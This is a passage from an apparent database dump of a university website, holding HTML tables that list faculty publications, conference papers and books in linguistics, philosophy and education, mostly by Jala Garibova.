Bioethics</p></td><td width=\"474\"><p>Brochure for Medical University students, Baku, Azerbaijani Medical University Press, 2007</p></td></tr><tr><td width=\"474\"><p>”On the traces of Fazlullah Naimi” (by professor Camal Mustafayev)</p><p>&nbsp;</p></td><td width=\"474\"><p>Translated from Azerbaijani into English, Khazar Xeber, May-June, 2008. # 250-252</p></td></tr><tr><td width=\"474\"><p>Editor of the textbook for students of Medical University “A Human Anatomy” (in English) (by Professor E. Alakbarov)</p></td><td width=\"474\"><p>Baku, 2009</p></td></tr><tr><td width=\"474\"><p>Translation of Bibliography: Hamlet Isaxanli (Scholar, Founder, Poet) Bibliography</p></td><td width=\"474\"><p>Khazar University Press Baku, 2010, 247 p.</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Article: Globalization: some implications in the interpersonal relations of the organized community groups</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"474\"><p>World Forum on Intercultural Dialogue, Baku, Azerbaijan, 7-9 Apri, 2011.International Conference of “Cultural Diversity and Philosophy Dialogue in the Contemporary World”</p></td></tr><tr><td width=\"474\"><p>Article:&nbsp; \"Mead\'s Introspective \'Self\' as a Process of Interaction of Object and Subject Relations and its Some&nbsp; Implications in Evaluating of Moral-Psychological Climate of Organized Community Units\"</p></td><td width=\"474\"><p>INTERNATIONAL CONFERENCE IN PHILOSOPHY INSTITUTE OF PHILOSOPHY, OPOLE UNIVERSITY POLAND, JUNE 20-24, 2011;<a href=\"http://aaev.uni.opole.pl/index.php/conferences/2011/texts\">http://aaev.uni.opole.pl/index.php/conferences/2011/texts</a></p></td></tr><tr><td width=\"474\"><p>Article: “Globalization: some implications in the interpersonal relations of the organized community groups” .</p></td><td width=\"474\"><p>Magazine Le-Debat (French), Livia, Beyrut</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>The new trends of global developments and Turkish world</p></td><td width=\"474\"><p>15 September, 2009</p><table cellpadding=\"0\"><tbody><tr><td><p>&nbsp;</p></td><td><p><a href=\"http://hdl.handle.net/123456789/1331\">http://hdl.handle.net/123456789/1331</a></p></td></tr></tbody></table><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>Correlation of multicultural Labor Units and development of personality (Socio-philosophical analysis)<strong>&nbsp;&nbsp;&nbsp;</strong></p></td><td width=\"474\"><p><em>Xəzər Xəbər&nbsp;</em><em>№</em>&nbsp;<em>311 Oktyabr 2012</em></p></td></tr></tbody></table>  <br></div>'),(1621,1004,'en','Associate Professor Leyla Muradkhanli','Associate Professor Leyla Muradkhanli','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td colspan=\"2\" width=\"948\"><h4><strong><a href=\"http://www.khazar.org/files/Leyla_Muradkhanli.doc\" style=\"color:#000000\">Leyla Muradxanlı</a></strong></h4><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"474\"><p>“Azerbaijan-Turkey Energy Cooperation”</p></td><td width=\"474\"><p>International Conference on “Azerbaijan-Turkey Cooperation”, Baku, 2009</p></td></tr><tr><td width=\"474\"><p>“The Quality Assurance System at Khazar&nbsp; University”</p></td><td width=\"474\"><p>Conference&nbsp; on “Quality&nbsp; Assurance in Higher Education”, Baku, 2009.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"474\"><p>“The role of Information and Communication Technologies in Education”</p></td><td width=\"474\"><p>Jean Monnet International Scientific and Practical conference, European Neighbourhood Policy and Jean Monnet International Scientific and Practical conference, European Neighbourhood Policy and Achievements, Obstacles and Perspectives, Chisinau, Moldova, 5-7 May, 2011.</p><p>&nbsp;</p></td></tr><tr><td width=\"474\"><p>“Blended Learning : The Integration of Traditional Learning and eLearning Application of Information and Communication Technologies”</p></td><td width=\"474\"><p>AICT 2011 V International Conference, Baku, Azerbaijan, 12-14, October, 2011.</p></td></tr></tbody></table>  <br></div>'),(1622,1004,'az','Associate Professor Leyla Muradkhanli','Associate Professor Leyla Muradkhanli','<div><br></div><div><br></div><div> <div><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td colspan=\"2\" width=\"948\"><h4><strong><a href=\"http://www.khazar.org/files/Leyla_Muradkhanli.doc\" style=\"color:#000000\">Leyla Muradxanlı</a></strong></h4><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"474\"><p style=\"background:undefined \">“Azerbaijan-Turkey Energy Cooperation”</p></td><td width=\"474\"><p style=\"background:undefined \">International Conference on “Azerbaijan-Turkey Cooperation”, Baku,&nbsp;2009</p></td></tr><tr><td width=\"474\"><p style=\"background:undefined \">“The Quality Assurance System at Khazar&nbsp; University”</p></td><td width=\"474\"><p style=\"background:undefined \">Conference&nbsp; on “Quality&nbsp; Assurance in Higher Education”, Baku, 2009.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"474\"><p style=\"background:undefined \">“The role of Information and Communication Technologies in Education”</p></td><td width=\"474\"><p style=\"background:undefined \">Jean Monnet International Scientific and Practical conference, European Neighbourhood Policy and Jean Monnet International Scientific and Practical conference, European Neighbourhood Policy and Achievements, Obstacles and Perspectives, Chisinau, Moldova, 5-7 May, 2011.</p><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td width=\"474\"><p style=\"background:undefined \">“Blended Learning : The Integration of Traditional Learning and eLearning Application of Information and Communication Technologies”</p></td><td width=\"474\"><p style=\"background:undefined \">AICT 2011 V International Conference, Baku, Azerbaijan, 12-14, October, 2011.</p></td></tr></tbody></table></div><br></div>'),(1623,1005,'az','Associate Professor Mail Yagub','Associate Professor Mail Yagub','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\"><tbody><tr><td></td></tr><tr><td><h4>&nbsp;<a href=\"http://www.khazar.org/files/CV%20Mail%20Yaqub.doc\" style=\"color:#000000\">Mail Yagub</a></h4></td></tr><tr><td><p>&nbsp;</p><p><em>Meditation on the Metaphysics</em>,&nbsp; June 2012, Logos research center</p><p><em>Philosophy of Religion,&nbsp;&nbsp;</em>July 2011, Logos research center</p><div><strong><br></strong></div></td></tr></tbody></table>  <br></div>'),(1624,1005,'en','Associate Professor Mail Yagub','Associate Professor Mail Yagub','<div><br></div><div> <div><table cellspacing=\"5\" cellpadding=\"5\"><tbody><tr><td></td></tr><tr><td><h4>&nbsp;<a href=\"http://www.khazar.org/files/CV%20Mail%20Yaqub.doc\" style=\"color:#000000\">Mail Yagub</a></h4></td></tr><tr><td><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><em>Meditation on the Metaphysics</em>,&nbsp; June 2012, Logos research center</p><p style=\"background:undefined \"><em>Philosophy of Religion,&nbsp;&nbsp;</em>July 2011, Logos research center</p><div style=\"background:undefined \"><strong><br></strong></div></td></tr></tbody></table></div>&nbsp;</div>'),(1625,1006,'az','Dosent Jalə Qəribova','Dosent Jalə Qəribova','<div><br></div><div> <div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><a href=\"http://www.khazar.org/files/Jala_Garibova_CV.doc\">Jala Garibova</a>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><em>1991-2013</em>&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \">Articles&nbsp;<br></div><div style=\"background:undefined \"><br></div><div style=\"background:undefined \">(v)n как Показатель Множественности в Разноструктурных Языках. Восток: Прошлое и Будущее Народов (Новые Подходы в Теории и Методиках Исследований). Материалы IV Всесоюзной Конференции Востоковедов, Москва, 1991<p style=\"background:undefined \">&nbsp;</p>“Tegin” yoxsa “Dehğan”? Azərbaycan EA Xəbərləti (Ədəbiyyat, Dil, İncəsənət seriyası). Bakı, 1992, # 1-2<p style=\"background:undefined \">&nbsp;</p>Ulu Türkcədə Kəmiyyət Göstəricisi –(v)n və -(v)n Morfemli Bəzi Titullar haqqında: Azərbaycan Elmlər Akademiyası Aspirantlarının Elmi Konfransının Materialları: Bakı, 1992<p style=\"background:undefined \">&nbsp;</p>Türk Dillərində Aqqlütinasiya, Felksiya və Fuziyanın Qarşılıqlı Əlaqəsi (Kəmiyyət Kateqoriyasının Morfoloji Göstəriciləri İşığında). “Türkologiya”, Bakı, 1994, # 2<p style=\"background:undefined \">&nbsp;</p>Türk Dillərində Qədim Kəmiyyət Göstəriciləri vasitəsilə əmələ gələn bəzi onomastik vahidlər: Dil, Etnos, Etnonimiya: Bakı, 1994<p style=\"background:undefined \">&nbsp;</p>Azərbaycan Dilində İki Söz Birləşməsi Haqqında: Filologiya Məsələləri – Nəzəriyyə və Metodika (I buraxılış): Bakı, 1994<p style=\"background:undefined \">&nbsp;</p>Türkdilli Abidələrdə Kəmiyyətin Leksik-Sintaktik Üsullarla İfadəsi: Filologiya Məsələləri – Nəzəriyyə və Metodika (II buraxılış): Bakı, 1994<p style=\"background:undefined \">&nbsp;</p>İngilis Dilinin Qrammatikasının Tədrisində Model Üsulundan İstifadə Olunması: Texniki Ali Məktəblərdə Dillərin Öyrədilməsinin Müasir Problemləri: Bakı, 1994<p style=\"background:undefined \">&nbsp;</p>Türk Dillərində -t- Qədim Cəmlik Göstəricis haqqında: Filologiya Məsələlərinə Həsr Olunmiş Ali Məktəblərarası Elmi-Praktik Konfransın Materialları: Bakı, 1995<p style=\"background:undefined \">&nbsp;</p>&nbsp;Hərkət və Prosesin Kəmiyyətinə Dair: Filologiya Məsələləri: Nəzəriyyə və Metodika (III buraxılış): Bakı, 1995&nbsp;<p style=\"background:undefined \">&nbsp;</p>New Literary Voices: Sabir Ahmadli: Azerbaijan International, Los Angeles (CA), (Spring) 1996, # 4.1, pp. 14-15.<p style=\"background:undefined \">&nbsp;</p>Names: History in a Nutshell – 20<sup>th</sup>&nbsp;Century Personal Naming Practices in Azerbaijan: Azerbaijan International, Los Angeles (CA), (Autumn) 1996, # 4.3, pp. 54-64.<p style=\"background:undefined \">&nbsp;</p>Molla Nasraddin - The Magazine. Laughter that Pricked the Conscience of a Nation Azerbaijan International, Los Angeles (CA), (Autumn) 1996, # 4.3<p style=\"background:undefined \">&nbsp;</p>Toastmaster’s Unwritten Rule Book: Azerbaijan International, Los Angeles (CA), (Autumn) 1996, # 4.3, pp. 70-73.<p style=\"background:undefined \">&nbsp;</p>Ali Jafar: Child Artist: Azerbaijan International, Los Angeles (CA), (Winter) 1996, # 4.4, pp.28-29.&nbsp;<p style=\"background:undefined \">&nbsp;</p>Fikrat Amirov: Folk Melodies and Symphonic Masterpieces: Azerbaijan International, Los Angeles (CA), (Winter) 1997, # 5.4, pp. 54-57<p style=\"background:undefined \">&nbsp;</p>Loyalty, Bravery and Passion: Personal Names from Legendary Heroes: Azerbaijan International, Los Angeles (CA), (Autumn) 1998, # 6.3, pp. 42-43.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Saying “Hello” in Azerbiajan: Azerbaijan International, Los Angeles (CA), (Winter) 1998, # 6.4, pp. 56-59.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking –Holidays in Azerbiajan: Azerbaijan International, Los Angeles (CA), (Spring) 1999, # 7.1, pp. 82.<p style=\"background:undefined \">&nbsp;</p>&nbsp;Sociolinguistically Speaking – Getting to Know You: Introductions in Azeri: Azerbaijan International, Los Angeles (CA), (Summer) 1999, # 7.2, pp. 96-97.&nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp;Sociolinguistically Speaking – Birth and Death: Azerbaijan International, Los Angeles (CA), (Autumn)1999, # 7.3, pp. 76-79.&nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp;Sociolinguistically Speaking – Saying Goodbye: Azerbaijan International, Los Angeles (CA), (Winter) 1999, # 7.4, pp. 82-83. &nbsp;<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Apologizing: Azerbaijan International, Los Angeles (CA), (Spring) 2000, # 8.1, pp. 80-81.<p style=\"background:undefined \">&nbsp;</p>A Home for Azerbaijani Folk Music: Azerbaijan International, Los Angeles (CA), (Summer) 2000, # 8.2, pp. 68-69.<p style=\"background:undefined \">&nbsp;</p>Father’s Words: Proverbs about Food: Azerbaijan International, Los Angeles (CA), (Autumn) 2000, # 8.3, pp. 36-38.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Just a Cup of Tea: Azerbaijan International, Los Angeles (CA), (Autumn) 2000, # 8.3, pp. 78-81<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – International Relationships: Some Dos and Don’ts in Azeri: Azerbaijan International, Los Angeles (CA), (Winter) 2000, # 8.4, pp. 72-75.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Innovations in Spoken Azeri: Azerbaijan International, Los Angeles (CA), (Spring) 2001, # 9.1, pp. 68-71.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Concepts of Time: Azerbaijan International, Los Angeles (CA), (Summer) 2001, # 9.2, pp.44-47.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – “Come to My Wedding? Azerbaijan International, Los Angeles (CA), (Autumn) 2001, # 9.3, pp. 76-77.<p style=\"background:undefined \">&nbsp;</p>A Way with Words: Azerbaijanis Eager to Learn Languages: Azerbaijan International, Los Angeles (CA), (Winter) 2001, # 9.4, pp. 70-73.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Silence is Golden: Azerbaijan International, Los Angeles (CA), (Spring) 2002, # 10.1, pp. 66-69.<p style=\"background:undefined \">&nbsp;</p>Sociolinguistically Speaking – Giving Advice: Azerbaijan International, Los Angeles (CA), (Summer) 2002, # 10.2, pp. 64-65.<p style=\"background:undefined \">&nbsp;</p>&nbsp;Sociolinguistically Speaking – Respect for the Elderly: Azerbaijan International, Los Angeles (CA), (Autumn) 2002, # 10.3, pp. 74-75.&nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp;Sociolinguistically Speaking – Rearing Children: Azerbaijan International, Los Angeles (CA), (Spring) 2003, # 11.1, pp. 60-62&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Sociolinguistically Speaking – Taboos and Euphemisms: Azerbaijan International, &nbsp; &nbsp;<p style=\"background:undefined \">Los Angeles (CA), (Autumn) 2003, # 11.3, pp. 64-65.</p><p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Socilinguistically Speaking - Expressing Quantity and Quality: Azerbaijan International, Los Angeles (CA), 2004, # 12.4 (Winter), pp. 74-77.&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Dil Siyasəti və Davamlı İnkişaf. Elmi Xəbərlər. 2004/5. Azərbaycan Dillər Universiteti. Bakı 2004, s. 296-303&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Dil Siyasəti və Dil Quruculuğunun Obyekti, Subyekti və Mərhələləri. Elmi Xəbərlər. Azərbaycan Dillər Universiteti. 2006, #5, s. 19-25. &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Language Policy and Linguistic Behavior in Post-Soviet Azerbaijan. The Fourteenth Annual Central Eurasian Studies Conference. Abstracts of Papares. March 31-April 1. 2007. Indiana University. Bloomington. 2007. p.33.&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Europäische Personennamensysteme. Ein Handbuch for Abasisich bis Zentralladinish. Herausgegeben von Andrea Brendler and Silvio Brendler. Baar-Verlag, 2007. &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Dil Siyasəti ilə bağlı Tədqiqatlarda Prioritet Meyllər. Elmi Xəbərlər. Azərbaycan Dillər Universiteti. 2007, #7, s. 13-21&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Magistratura pilləsi üçün “Sosial Dilçilik” fənni üzrə proqram. Bakı 2007.&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Teaching Foriegn Languages in Post-Soviet Azerbaijan: Goals and Challenges: Proceedings of 2007 Asian Pacific Summit Forum on Foriegn Language Education. Hankuk University of Foreign Studies, October 18-19, 2007. Seoul. &nbsp;2007&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Təhsilin İnteqrasiyasının Yeni Meyllərindən Faydalanma İmkanları. Azərbayycan qəzeti. 1 fevral, 2008, #23. s. 7. &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;J. Qəribova, M. Əsgərova. Azərbaycan Respublikasında dövlət dili siyasətinin qanunvericilik əsasları. Elmi xəbərlər. Azərbaycan Dillər Universiteti. 2008, #2, s. 27-39 &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;J. Qəribova, M. Əsgərova. Zakonodatelnaya Podderzhka Yazikov Menshinstv v Azerbaydjabskoy Respublike. Dirçəliş XXI Əsr. Azərbaycan Dövlət Quruculuğu və Beynəlxlaq Münasibətlər İnstitutu. Bakı, İyun-İyul, #124-125 2008. s. 252-264&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;J. Garibova. Academic Quality Assurance in Azerbaijan’s Higher Education: Implementation Challenges. Azərbaycan Məktəbi. # 4, 2008, s. 19-29&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;J. Garibova. Language Policy and Political Discourse in Post-Soviet Countries: Verbal Communication Techniques. Technical University of Georgia. Georgian Academy of Educational Sciences. Tbilisi. 2008. s. 338-342.&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;J. Garibova. From Identity to Integrity:&nbsp; the Role of Language in Nation-Building. Приложение к журналу «Вестник» Академии Образовательных Наук Грузии. №13, Тбилиси, 2008. s. 35-41&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova, Kenneth Zuercher. Ön söz. An Overview of Sociolinguistic Issues in Azerbaijan. International Journal of the Sociology of Language. Issue 198. July 2009. Mouton De Gruyter. Berlin. (p. 1-6)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova. Language Policy in Post-Soviet Azerbaijan: Political Aspects. International Journal of the Sociology of Language. Issue 198. July 2009. Mouton De Gruyter. Berlin. (p. 7-32)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova. The development of language and ethnicity in Azerbaijan: a Book Review (Müasir Azәrbaycanda Etno-Dil Proseslәri [Ethno-language processes in contemporary Azerbaijan], by Afaq Rüstәmova). International Journal of the Sociology of Language. Issue 198. July 2009. Mouton De Gruyter. Berlin. (p. 129-134)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova and Matanat Asgarova. Langauge Policy and Legislation in Post-Soviet Azerbaijan. Langauge Ppolicy and Langauge Planning. 33:3. 2009. John Benjamins Publishing Company. (p. 191-217)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jalə Qəribova. Dil Siyasətində Dil Müxtəlifliyinin Qorunması Prinsipi. Mədəniyyətlərarası Dialoq: Linqvistik, Pedaqoji və Ədəbi Aspektlər. Beynəlxalq Elmi Konfransın Materialları (25-27 noyabr 2010-cu il). Bakı, Azərbaycan Dillər Universiteti 2010 (s. 30-31)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jale Garibova. Türk Dilleri Birleşiminin Oluşumu ve Yeniden Doğuşu: İki Çağın Altın Rüyası. Hacettepe Üniversitesi. Türkiyat Araştırmaları Enstitüsü. Türk Dil Kurumu. Orhon Yazıtlarının Bulunuşundan 120 Yıl Sonra Türklük Bilimi ve 21. Yüzyıl Konulu III Uluslararası Türkiyat Araştırmaları Sempozyumu. 26-29 Mayıs 2010. Bildiriler Kitabı. 1. Cilt. Ankara 2011. (ss. 373-384). &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova. Transition Societies and Comprehension of New Concepts: Challenges for Terminology Corpus Building. Scolia 25. 2011. Universite de Strasbourg. (pp. 207-221). &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova.: Cultural Autonomy: the Perceived vs. Realistic Scope: International Journal of the Sociology of Language. Spcial Issue (Cultural Autonomy and Fishmanian Sociolinguistics). Issue 213. 2012. Mouton De Gruyter. Berlin. (p. 105-111)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jalə Qəribova. Corc K. Zipfin “Ən Az Səy” Prinsipi və Dildə Tənəzzül Tendensiyaları: Ali Təhsil və Cəmiyyət. #1. 2012. ss. 80-85&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Dil Politikası ilə İlgili İncelemelerde Önceliklik Eğilimler. Tehlikedeki Diller Dergisi. Cilt 2, Sayı 2 (2013).&nbsp;<a href=\"http://dergi.tehlikedekidiller.com/index.php/TDD/article/view/98\">http://dergi.tehlikedekidiller.com/index.php/TDD/article/view/98</a>&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Book Chapters:</p><p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;William Fierman and Jala Garibova<em>. Central Asia and Azerbaijan</em>. Handbook of Language and Ethnic Identity. Oxford University Press. 2010. (p. 423 – 451)&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jala Garibova.&nbsp;<em>A Pan-Turkic Dream: Language Unification of Turks</em>. In Joshua A. Fishman and Ofelia García, eds. Handbook of Language and Ethnic Identity. Oxford: Oxford University Press. 2011. (pp. 268-281) &nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Books:</p><p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jalə Qəribova, Səbinə Əliyeva.&nbsp;<em>Azərbaycan Dili. Başlanğıc Səviyyə. (Əcnəbilər üçün dərslik) 2012. (Azerbaijani Language for Foreigners (Elementary Level)</em>&nbsp; &nbsp;<p style=\"background:undefined \">&nbsp;</p>&nbsp; &nbsp;Jale Garibova.&nbsp;<em>Sovyet Sonrası Dönemde</em>&nbsp;Türk Dilli Halklar,&nbsp;<em>Dil Sorunu</em>, Yeniden Biçimlenen Kimlikler (IV cilt. 302 səhifə) (Turkic Peoples in the Post-Soviet Period: The Language Issue and Newly Formed Identities) : Avrasya\'da Yeniden Çizilen Sınırlar, İnşa Edilen Kimlikler ve Türkiye. Ankara. Atatrük Kültür Mərkəzi. 2012 &nbsp;&nbsp;<br></div></div><div><br></div><br></div>'),(1626,1006,'en','Associate Professor Jala Garibova','Associate Professor Jala Garibova','<div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/Jala_Garibova_CV.doc\">Jala Garibova</a>  <br></div><div><br></div><div><em>1991-2013</em>  <br></div><div><br></div><div><br></div><div>Articles  <br></div><div><br></div><div>(v)n как Показатель Множественности в Разноструктурных Языках. Восток: Прошлое и Будущее Народов (Новые Подходы в Теории и Методиках Исследований). Материалы IV Всесоюзной Конференции Востоковедов, Москва, 1991<p>&nbsp;</p>“Tegin” yoxsa “Dehğan”? Azərbaycan EA Xəbərləti (Ədəbiyyat, Dil, İncəsənət seriyası). Bakı, 1992, # 1-2<p>&nbsp;</p>Ulu Türkcədə Kəmiyyət Göstəricisi –(v)n və -(v)n Morfemli Bəzi Titullar haqqında: Azərbaycan Elmlər Akademiyası Aspirantlarının Elmi Konfransının Materialları: Bakı, 1992<p>&nbsp;</p>Türk Dillərində Aqqlütinasiya, Felksiya və Fuziyanın Qarşılıqlı Əlaqəsi (Kəmiyyət Kateqoriyasının Morfoloji Göstəriciləri İşığında). “Türkologiya”, Bakı, 1994, # 2<p>&nbsp;</p>Türk Dillərində Qədim Kəmiyyət Göstəriciləri vasitəsilə əmələ gələn bəzi onomastik vahidlər: Dil, Etnos, Etnonimiya: Bakı, 1994<p>&nbsp;</p>Azərbaycan Dilində İki Söz Birləşməsi Haqqında: Filologiya Məsələləri – Nəzəriyyə və Metodika (I buraxılış): Bakı, 1994<p>&nbsp;</p>Türkdilli Abidələrdə Kəmiyyətin Leksik-Sintaktik Üsullarla İfadəsi: Filologiya Məsələləri – Nəzəriyyə və Metodika (II buraxılış): Bakı, 1994<p>&nbsp;</p>İngilis Dilinin Qrammatikasının Tədrisində Model Üsulundan İstifadə Olunması: Texniki Ali Məktəblərdə Dillərin Öyrədilməsinin Müasir Problemləri: Bakı, 1994<p>&nbsp;</p>Türk Dillərində -t- Qədim Cəmlik Göstəricis haqqında: Filologiya Məsələlərinə Həsr Olunmiş Ali Məktəblərarası Elmi-Praktik Konfransın Materialları: Bakı, 1995<p>&nbsp;</p>&nbsp;Hərkət və Prosesin Kəmiyyətinə Dair: Filologiya Məsələləri: Nəzəriyyə və Metodika (III buraxılış): Bakı, 1995&nbsp;<p>&nbsp;</p>New Literary Voices: Sabir Ahmadli: Azerbaijan International, Los Angeles (CA), (Spring) 1996, # 4.1, pp. 14-15.<p>&nbsp;</p>Names: History in a Nutshell – 20<sup>th</sup>&nbsp;Century Personal Naming Practices in Azerbaijan: Azerbaijan International, Los Angeles (CA), (Autumn) 1996, # 4.3, pp. 54-64.<p>&nbsp;</p>Molla Nasraddin - The Magazine. Laughter that Pricked the Conscience of a Nation Azerbaijan International, Los Angeles (CA), (Autumn) 1996, # 4.3<p>&nbsp;</p>Toastmaster’s Unwritten Rule Book: Azerbaijan International, Los Angeles (CA), (Autumn) 1996, # 4.3, pp. 70-73.<p>&nbsp;</p>Ali Jafar: Child Artist: Azerbaijan International, Los Angeles (CA), (Winter) 1996, # 4.4, pp.28-29.&nbsp;<p>&nbsp;</p>Fikrat Amirov: Folk Melodies and Symphonic Masterpieces: Azerbaijan International, Los Angeles (CA), (Winter) 1997, # 5.4, pp. 54-57<p>&nbsp;</p>Loyalty, Bravery and Passion: Personal Names from Legendary Heroes: Azerbaijan International, Los Angeles (CA), (Autumn) 1998, # 6.3, pp. 42-43.<p>&nbsp;</p>Sociolinguistically Speaking – Saying “Hello” in Azerbiajan: Azerbaijan International, Los Angeles (CA), (Winter) 1998, # 6.4, pp. 56-59.<p>&nbsp;</p>Sociolinguistically Speaking –Holidays in Azerbiajan: Azerbaijan International, Los Angeles (CA), (Spring) 1999, # 7.1, pp. 82.<p>&nbsp;</p>&nbsp;Sociolinguistically Speaking – Getting to Know You: Introductions in Azeri: Azerbaijan International, Los Angeles (CA), (Summer) 1999, # 7.2, pp. 96-97.&nbsp;<p>&nbsp;</p>&nbsp;Sociolinguistically Speaking – Birth and Death: Azerbaijan International, Los Angeles (CA), (Autumn)1999, # 7.3, pp. 76-79.&nbsp;<p>&nbsp;</p>&nbsp;Sociolinguistically Speaking – Saying Goodbye: Azerbaijan International, Los Angeles (CA), (Winter) 1999, # 7.4, pp. 82-83. &nbsp;<p>&nbsp;</p>Sociolinguistically Speaking – Apologizing: Azerbaijan International, Los Angeles (CA), (Spring) 2000, # 8.1, pp. 80-81.<p>&nbsp;</p>A Home for Azerbaijani Folk Music: Azerbaijan International, Los Angeles (CA), (Summer) 2000, # 8.2, pp. 68-69.<p>&nbsp;</p>Father’s Words: Proverbs about Food: Azerbaijan International, Los Angeles (CA), (Autumn) 2000, # 8.3, pp. 36-38.<p>&nbsp;</p>Sociolinguistically Speaking – Just a Cup of Tea: Azerbaijan International, Los Angeles (CA), (Autumn) 2000, # 8.3, pp. 78-81<p>&nbsp;</p>Sociolinguistically Speaking – International Relationships: Some Dos and Don’ts in Azeri: Azerbaijan International, Los Angeles (CA), (Winter) 2000, # 8.4, pp. 72-75.<p>&nbsp;</p>Sociolinguistically Speaking – Innovations in Spoken Azeri: Azerbaijan International, Los Angeles (CA), (Spring) 2001, # 9.1, pp. 68-71.<p>&nbsp;</p>Sociolinguistically Speaking – Concepts of Time: Azerbaijan International, Los Angeles (CA), (Summer) 2001, # 9.2, pp.44-47.<p>&nbsp;</p>Sociolinguistically Speaking – “Come to My Wedding? Azerbaijan International, Los Angeles (CA), (Autumn) 2001, # 9.3, pp. 76-77.<p>&nbsp;</p>A Way with Words: Azerbaijanis Eager to Learn Languages: Azerbaijan International, Los Angeles (CA), (Winter) 2001, # 9.4, pp. 70-73.<p>&nbsp;</p>Sociolinguistically Speaking – Silence is Golden: Azerbaijan International, Los Angeles (CA), (Spring) 2002, # 10.1, pp. 66-69.<p>&nbsp;</p>Sociolinguistically Speaking – Giving Advice: Azerbaijan International, Los Angeles (CA), (Summer) 2002, # 10.2, pp. 64-65.<p>&nbsp;</p>&nbsp;Sociolinguistically Speaking – Respect for the Elderly: Azerbaijan International, Los Angeles (CA), (Autumn) 2002, # 10.3, pp. 74-75.&nbsp;<p>&nbsp;</p>&nbsp;Sociolinguistically Speaking – Rearing Children: Azerbaijan International, Los Angeles (CA), (Spring) 2003, # 11.1, pp. 60-62&nbsp; &nbsp;<p>&nbsp;</p>&nbsp; &nbsp;Sociolinguistically Speaking – Taboos and Euphemisms: Azerbaijan International, &nbsp; &nbsp;<p>Los Angeles (CA), (Autumn) 2003, # 11.3, pp. 64-65.</p><p>&nbsp;</p>&nbsp; &nbsp;Socilinguistically Speaking - Expressing Quantity and Quality: Azerbaijan International, Los Angeles (CA), 2004, # 12.4 (Winter), pp. 74-77.&nbsp; 